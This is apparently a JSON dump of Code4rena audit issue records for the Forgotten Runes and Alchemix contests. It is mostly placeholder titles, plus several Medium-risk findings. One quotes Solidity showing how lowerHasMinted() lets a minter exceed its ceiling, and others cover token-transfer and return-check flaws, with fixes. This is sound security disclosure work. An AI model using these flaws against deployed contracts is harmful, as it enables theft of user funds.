{"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/119", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/117", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/116", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/115", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/114", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/113", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/108", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/107", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/106", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/105", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "The owner can mint all of the NFTs.", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/104", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-runes-findings", "body": "The owner can mint all of the NFTs."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/102", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/94", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/92", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Mintlist phase is not limited to 24 hours", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-runes-findings", "body": "Mintlist phase is not limited to 24 hours"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/82", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/81", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Refunded WETH funds can be lost for customized minter contract", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/77", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-runes-findings", "body": "Refunded WETH funds can be lost for customized minter contract"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/76", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/73", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "IERC20.transfer does not support all ERC20 token", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/70", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-runes-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-runes/blob/060b4f82b79c8308fe65674a39a07c44fa586cd3/contracts/ForgottenRunesWarriorsGuild.sol#L173-L176 https://github.com/code-423n4/2022-05-runes/blob/060b4f82b79c8308fe65674a39a07c44fa586cd3/contracts/ForgottenRunesWarriorsMinter.sol#L627-L630 # Vulnerability details Token like [USDT](https://etherscan.io/address/0xdac17f958d2ee523a2206206994597c13d831ec7#contracts) known for using non-standard ERC20. ([Missing return boolean on transfer](https://forum.openzeppelin.com/t/can-not-call-the-function-approve-of-the-usdt-contract/2130/4)). Contract function [forwardERC20](https://github.com/code-423n4/2022-05-runes/blob/060b4f82b79c8308fe65674a39a07c44fa586cd3/contracts/ForgottenRunesWarriorsGuild.sol#L173-L176) will always revert when try to transfer this kind of tokens. ## Impact Cannot withdraw some special ERC20 token through contract call. Unexpected contract functionality = Medium severity ## Migration Use [SafeTransferLib.safeTransfer](https://github.com/Rari-Capital/solmate/blob/4197b521ef3eb81f675d35e64b7b597b24d33500/src/utils/SafeTransferLib.sol#L65-L94) instead of IERC20 transfer. This accepts ERC20 token with no boolean return like USDT. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/69", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/64", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/62", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/55", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/54", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/52", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/51", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/50", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/46", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/44", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Critical variables shouldn't be changed after they are set", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/38", "labels": ["bug", "2 (Med Risk)"], "target": "2022-05-runes-findings", "body": "Critical variables shouldn't be changed after they are set"}] \ No newline at end of file diff --git a/results/codearena_findings_17.json b/results/codearena_findings_17.json new file mode 100644 index 0000000..8e141fd --- /dev/null +++ b/results/codearena_findings_17.json @@ -0,0 +1 @@ +[{"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/35", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Many unbounded and under-constrained variables in the system can lead to unfair price or DoS", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/27", "labels": ["bug", "2 (Med Risk)"], "target": "2022-05-runes-findings", "body": "Many unbounded and under-constrained variables in the system can lead to unfair price or DoS"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/21", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/20", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/18", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/16", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/13", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/9", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/4", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-runes-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/3", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-runes-findings/issues/1", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-runes-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/230", "labels": [], "target": "2022-05-alchemix-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/228", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/226", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/225", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/224", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/223", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "TransmuterBuffer.sol calls depositUnderlying with no slippage bounds ", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/222", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-alchemix-findings", "body": "TransmuterBuffer.sol calls depositUnderlying with no slippage bounds "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/221", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/220", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/219", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/218", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/216", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/214", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/213", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/211", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/205", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/204", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/202", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/201", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/200", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "[gALCX.sol] Attacker can make the contract unusable when totalSupply is 0", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/198", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-alchemix-findings", "body": "[gALCX.sol] Attacker can make the contract unusable when totalSupply is 0"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/197", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/196", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/195", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/188", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/179", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/176", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/175", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/174", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/172", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/171", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/169", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Alchemist can mint `AlTokens` above their assigned ceiling by calling `lowerHasMinted()`", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/166", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-alchemix-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/AlchemicTokenV2Base.sol#L111-L124 https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/AlchemicTokenV2Base.sol#L189-L191 # Vulnerability details ## Impact An alchemist / user can mint more than their alloted amount of AlTokens by calling `lowerHasMinted()` before they reach their minting cap. ## Proof of Concept Function `mint()` in `AlchemicTokenV2Base.sol` ```solidity function mint(address recipient, uint256 amount) external onlyWhitelisted { if (paused[msg.sender]) { revert IllegalState(); } uint256 total = amount + totalMinted[msg.sender]; if (total > mintCeiling[msg.sender]) { revert IllegalState(); } totalMinted[msg.sender] = total; _mint(recipient, amount); } ``` Note the require conditional check that `total > mintCeiling[msg.sender]`. In the same contract, there is the function `lowerHasMinted()` with the same permission level as mint and is thus callable by the same user as well. ```solidity function lowerHasMinted(uint256 amount) external onlyWhitelisted { totalMinted[msg.sender] = totalMinted[msg.sender] - amount; } ``` It is clear that a user can accumulate an infinite (within supply) amount of AlTokens by calling `lowerHasMinted()` before any action that would make them exceed their minting cap. ## Tools Used Manual review, VScode ## Recommended Mitigation Steps Change the permissioning on `lowerHasMinted()` to be restricted to a higher permissioned role like `onlySentinel()` , or deprecate this function as I could not find any uses of it throughout the codebase or in tests. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/164", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "[WP-H1] Debt can be repaid with a depegged underlyingToken, which can be exploited by arbitrageurs and drives the market price of alToken to match the worst depegged underlyingToken", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/161", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-alchemix-findings", "body": "[WP-H1] Debt can be repaid with a depegged underlyingToken, which can be exploited by arbitrageurs and drives the market price of alToken to match the worst depegged underlyingToken"}, {"title": "DoS in wrap and unwrap", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/159", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-alchemix-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/adapters/fuse/FuseTokenAdapterV1.sol#L76 https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/adapters/fuse/FuseTokenAdapterV1.sol#L98 # Vulnerability details ## Impact the code is doing wrong check, so when things will work it will revert. ## Proof of Concept In the function `wrap()` there is this lines: ``` if ((error = ICERC20(token).mint(amount)) != NO_ERROR) { revert FuseError(error); } ``` but `mint` returns the amount that minted, so when `error = amount` the check will fail even though it worked good. Same in `unwrap`: ``` if ((error = ICERC20(token).redeem(amount)) != NO_ERROR) { revert FuseError(error); } ``` the redeem returns the amount. ## Recommended Mitigation Steps I recommend to change the lines like this: in wrap: ``` if ((error = ICERC20(token).mint(amount)) != amount) { revert FuseError(error); } ``` and in unwrap: ``` if ((error = ICERC20(token).redeem(amount)) != amount) { revert FuseError(error); } ``` "}, {"title": "A well financed attacker could prevent any other users from minting synthetic tokens", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/155", "labels": ["bug", "2 (Med Risk)"], "target": "2022-05-alchemix-findings", "body": "A well financed attacker could prevent any other users from minting synthetic tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/153", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/152", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/151", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/148", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/145", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "AutoleverageBase: Must approve 0 first", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/144", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-alchemix-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-alchemix/blob/71abbe683dfd5c0686b7e594fb4f78a14b668d8b/contracts-full/AutoleverageBase.sol#L61-L63 # Vulnerability details ## Impact Some tokens (like USDT) do not work when changing the allowance from an existing non-zero allowance value.They must first be approved by zero and then the actual allowance must be approved. ## Proof of Concept https://github.com/code-423n4/2022-05-alchemix/blob/71abbe683dfd5c0686b7e594fb4f78a14b668d8b/contracts-full/AutoleverageBase.sol#L61-L63 